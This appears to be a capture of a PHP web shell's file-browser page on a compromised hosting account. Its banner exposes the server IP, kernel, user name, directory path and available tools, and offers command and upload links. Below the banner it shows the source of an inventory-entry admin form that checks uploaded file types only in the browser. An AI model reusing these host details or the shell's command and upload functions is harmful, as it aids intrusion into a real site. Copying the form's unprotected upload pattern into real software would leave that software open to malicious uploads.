Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/inventory/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); $se = $_SESSION["id"]; if (!isset($_SESSION['id'])) { header("Location: login.php"); } include("include/db.php");; ?> <!doctype html> <html lang="en"> <!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:02 GMT --> <head> <?php include 'include/head.php'; ?> <style> .one, td,th, tr { border: 1px solid black; border-collapse: collapse; } body { font-family: verdana; } .one { margin: auto; width: 90%; } td,th, td { height: 25px; } #one { width: 40%; } #two { width: 20%; } .two, td,th, tr { border: 1px solid black; border-collapse: collapse; } .two { margin: auto; margin-top: 4px; width: 100%; } .three { border:1px solid black; border-collapse:collapse; margin: auto; margin-top: 4px; width: 90%; margin-bottom:4px; } #n,#new{ border:none; } </style> </head> <body> <!-- Begin page --> <div id="layout-wrapper"> <?php include 'include/header.php'; ?> <!-- ========== Left Sidebar Start ========== --> <div class="vertical-menu"> <?php include 'include/sidebar.php'; ?> </div> <!-- Left Sidebar End --> <!-- ============================================================== --> <!-- Start right Content here --> <!-- ============================================================== --> <div class="main-content"> <div class="page-content"> <!-- start page title --> <div class="page-title-box"> <div class="container-fluid"> <div class="row align-items-center"> <div class="col-sm-6"> <div class="page-title"> <h4>Add New Inventory </h4> <!-- <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);">Morvin</a></li> <li class="breadcrumb-item"><a href="javascript: void(0);">Tables</a></li> <li class="breadcrumb-item active">Data Tables</li> </ol> --> </div> </div> <div class="col-sm-6"> </div> </div> </div> </div> <!-- end page title --> <div class="container-fluid"> <div class="page-content-wrapper"> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-body"> <form method="POST" action="action/inventory_add.php" enctype="multipart/form-data"> <div class="row"> <div class="mb-3"> <label class="form-label">Commodity code</label> <input class="form-control" type="text" placeholder="Commodity code" id="ccode" name="ccode"> </div> <div class="col-md-6"> <div class="mb-3"> <label class="form-label">Commodity Name</label> <input class="form-control" type="text" placeholder="Commodity Name" id="cname" name="cname"> </div> </div> <div class="col-md-6"> <div class="mb-3"> <label class="form-label">Sku Code</label> <input class="form-control" type="text" placeholder="Sku Code" id="skucode" name="skucode"> </div> </div> <div class="col-md-6"> <div class="mb-3"> <label class="form-label">Group Name</label> <input class="form-control" type="text" placeholder="Group Name" id="gname" name="gname"> </div> </div> <div class="col-md-6"> <div class="mb-3"> <label class="form-label">Warehouse </label> <select class="form-select" aria-label="Default select example" name="warehouse"> <option selected="">Choose Warehouse</option> <?php $sm = "select * from tbl_warhouse"; $rm = mysqli_query($con,$sm); while ($mr = mysqli_fetch_array($rm)) { echo '<option value="' . $mr['id'] . '">' . $mr['w_name'] . '</option>'; } ?> </select> </div> </div> <div class="col-md-3"> <div class="mb-3"> <label class="form-label">Inventory</label> <input class="form-control" type="number" placeholder="Inventory" id="inventory" name="inventory"> </div> </div> <div class="col-md-3"> <div class="mb-3"> <label class="form-label">Unit Name</label> <input class="form-control" type="text" placeholder="Unit Name" id="uname" name="uname"> </div> </div> <div class="col-md-3"> <div class="mb-3"> <label class="form-label">Sale Price</label> <input class="form-control" type="number" placeholder="Sale Price" id="sprice" name="sprice"> </div> </div> <div class="col-md-3"> <div class="mb-3"> <div class="mb-3"> <label for="validationCustom01" class="form-label"> Image</label> <input type="file" class="form-control " name="do_photo" id="do_photo" onchange="readThumb(this, 'thumb-error')" class="" accept="image/*" required=""> <div id="thumb" class="col-md-4"></div> <div id="thumb-error" style="color: red; margin: 10px 0px 0 10px; display: none;">Please upload file having extensions .jpeg / .jpg / .png only. </div> </div> </div> </div> </div> <div> <button class="btn btn-primary" type="submit">Submit</button> </div> </form> </div> </div> </div> <!-- end col --> </div> <!-- end row --> </div> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <footer class="footer"> <?php include 'include/footer.php'; ?> </footer> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Right Sidebar --> <!-- /Right-bar --> <!-- Right bar overlay--> <div class="rightbar-overlay"></div> <!-- JAVASCRIPT --> <?php include 'include/bscript.php'; ?> </body> <script type="text/javascript"> function readThumb(input, error) { document.getElementById(error).style.display = "none"; var filePath = input.value; var allowedExtensions = /(\.jpg|\.jpeg|\.png)$/i; if(!allowedExtensions.exec(filePath)){ document.getElementById(error).style.display = "block"; input.value = ''; document.getElementById("thumb").innerHTML = ""; return false; } else if(input.files && input.files[0]) { document.getElementById("thumb").innerHTML = ""; var total = input.files.length; for(i=0; i<total; i++ ) { var reader = new FileReader(); reader.onload = function(e) { var newimg = document.createElement("img"); newimg.setAttribute("src", e.target.result); newimg.setAttribute("height", "70px"); document.getElementById("thumb").appendChild(newimg); } reader.readAsDataURL(input.files[i]); } } } </script> <script type="text/javascript"> function readImages(input, errorClass) { document.getElementById(errorClass).style.display = "none"; var len = input.files.length; var error = false; for(var i=0; i<len; i++) { var filePath = input.files[i].name; var allowedExtensions = /(\.jpg|\.jpeg|\.png)$/i; if(!allowedExtensions.exec(filePath)){ document.getElementById(errorClass).style.display = "block"; input.value = ''; document.getElementById("img-container").innerHTML = ""; error = true; break; } } if(error == true) { return false; } else if(input.files && input.files[0]) { document.getElementById("img-container").innerHTML = ""; var total = input.files.length; for(i=0; i<total; i++ ) { var reader = new FileReader(); reader.onload = function(e) { var newimg = document.createElement("img"); newimg.setAttribute("src", e.target.result); newimg.setAttribute("height", "50px"); document.getElementById("img-container").appendChild(newimg); } reader.readAsDataURL(input.files[i]); } } } </script> <!-- Mirrored from themesdesign.in/morvin/layouts/index.html by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 04 Apr 2022 13:25:42 GMT --> </html>